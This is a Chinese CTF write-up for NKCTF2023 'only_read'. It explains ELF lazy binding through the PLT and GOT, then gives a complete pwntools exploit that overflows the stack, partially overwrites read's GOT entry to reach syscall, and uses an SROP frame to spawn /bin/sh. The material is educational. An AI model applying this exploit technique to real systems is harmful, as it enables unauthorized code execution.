前言
通常来说 我们想要通过A函数来调用B函数 最常用的办法是覆盖函数A的got表
但是这种做法存在一种弊端 这里我们先不提及 在下面会逐渐揭示 我们先来了解一下函数的动态链接到底是怎么实现的
原理分析
我们知道 对于一个c语言程序来说 其从.c文件编译成为一个可执行文件 一共需要四个步骤
分别是预处理 编译 汇编 链接 这里这把链接展开说
链接分为静态链接和动态链接 这里的静态动态是对于函数的调用来说的
静态链接出来的二进制文件通常是要大于动态链接的 是因为其包括了完整的静态库
而动态链接则是在程序运行时 再去通过操作系统自带的动态链接库索引
这种操作称之为延迟绑定 延迟绑定的实现主要是由plt表 got表 got.plt表这三个实现
全局偏移表是对got表和got.plt表的统称 其中got表存放供外部变量引用的地址 got.plt表则是延迟绑定利用的关键 存放外部函数引用的地址
got.plt表相当于一个数组 其固定拥有三个元素 从0到2分别占据数组 依次存放
dynamic
段的地址 本模块的ID _dl_runtime_resolve
函数的地址
dynamic
段供动态链接器提取动调链接信息 ID则是用来索引不同的函数 dl_runtime_resolve负责解析出函数的真实地址
接下来看一下一个函数是如何进行延迟绑定 获取到真实地址的
对于一个函数来说 在其还没有被第一次调用前 其存储的是.plt表上的地址
以puts函数为例
这里的0x0就是其模块ID 随后跳转到0x401020上
在这里索引到全局偏移表中的GOT[1] 在这里压入模块ID
随后通过_dl_runtime_resolve
函数获取到真实地址
随后根据模块ID 放入GOT数组中对应位置
实操演示
上面说到过 通过覆盖got表来实现函数误导调用有一种弊端 就是在我们下面这种办法的利用中 必须选择延迟绑定的利用方法 跟着我来看一下吧
所选例题是NKCTF2023的only_read libc版本为2.31 9.9
int __cdecl main(int argc, const char **argv, const char **envp) { char s1[64]; char s[64];
setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x30uLL); base_decode(s, s1); if ( strcmp(s1, "Welcome to NKCTF!") ) return 0; memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x30uLL); base_decode(s, s1); if ( strcmp(s1, "tell you a secret:") ) return 0; memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x40uLL); base_decode(s, s1); if ( strcmp(s1, "I'M RUNNING ON GLIBC 2.31-0ubuntu9.9") ) return 0; memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x40uLL); base_decode(s, s1); if ( !strcmp(s1, "can you find me?") ) next(); return 0; }
|
为了不通过puts等输出函数来书写字符串 利用strcmp函数来对比base64加解密的字符串 这里就不解释了
来看一下next函数
ssize_t next() { char buf[48];
return read(0, buf, 0x200uLL); }
|
很明显的栈溢出漏洞 但是难点在于说没有给任何的输出函数 也就是说没有办法泄露libc地址(实际上是可以的 覆盖got表爆破 但是这里不用这种办法)
这种情况极大程度上限制了我们的利用 不过还是可以通过Srop的方法来getshell
为了促成srop 我们就需要使得控制rax寄存器的值为15 随后syscall系统调用 但是这题没有直接给控制rax的指令 这个时候我们要联想到 大部分函数执行完都是有返回值的 而这个返回值就是用rax寄存器存储的 这里采用read函数来控制rax寄存器 那么syscall要如何解决呢 这题同样也是没有syscall函数的
不知道你有没有s进入read函数中看其是如何调用的 实际上read函数是通过syscall实现的
同时注意一下 syscall和read函数的起始地址 只差在倒数第二位
如果我们覆盖read函数的got表 执行read函数就相当于执行syscall 但是此时read函数也就相当于废掉了 相当于syscall了 我们还怎么利用read函数来控制rax寄存器呢
这个时候就用到延迟绑定了 我们直接把其他函数的got表改为read函数在plt表上的地址 这样就相当于再次延迟绑定一次 也就相当于调用了read函数 不过这样子会使得read函数的got表恢复为原来的值 需要我们重新留覆盖一下
from pwn import* from ctypes import * from LibcSearcher import* io = process("./pwn")
context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
context.arch = "amd64" elf = ELF("./pwn") def debug(): gdb.attach(io) pause()
io.send(b"V2VsY29tZSB0byBOS0NURiE=") sleep(0.1) io.send(b"dGVsbCB5b3UgYSBzZWNyZXQ6") sleep(0.1) io.send(b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45") sleep(0.1) io.send(b"Y2FuIHlvdSBmaW5kIG1lPw==")
rdi_addr = 0x0000000000401683 rsi_r15_addr = 0x0000000000401681 ret_addr = 0x000000000040101a leave_addr = 0x00000000004013c2 next_addr = elf.sym['next'] bss_addr = elf.bss(0x600) rsp_r13_r14_r15_addr = 0x000000000040167d
payload = cyclic(0x38)+p64(rdi_addr)+p64(0) payload += p64(rsi_r15_addr)+p64(elf.got['memset'])+p64(0)+p64(elf.plt['read']) payload += p64(rdi_addr)+p64(0) payload += p64(rsi_r15_addr)+p64(bss_addr)+p64(0)+p64(elf.plt['memset']) payload += p64(rsp_r13_r14_r15_addr)+p64(bss_addr-0x10)
io.send(payload) sleep(0.1) payload = p64(0x401050)+b'\xd0'
io.send(payload) sleep(0.1)
frame = SigreturnFrame() frame.rax = 59 frame.rsi = 0 frame.rsi = 0 frame.rdi = bss_addr frame.rip = elf.plt['read']
payload = b'/bin/sh\x00'+p64(rdi_addr)+p64(0) payload += p64(rsi_r15_addr)+p64(elf.got['memset']-0x6)+p64(0)+p64(elf.plt['memset']) payload += p64(elf.plt['read'])+bytes(frame)
io.send(payload) sleep(0.1) payload = cyclic(0x6)+p64(0x401050)+b'\xd0'
io.send(payload)
io.interactive()
|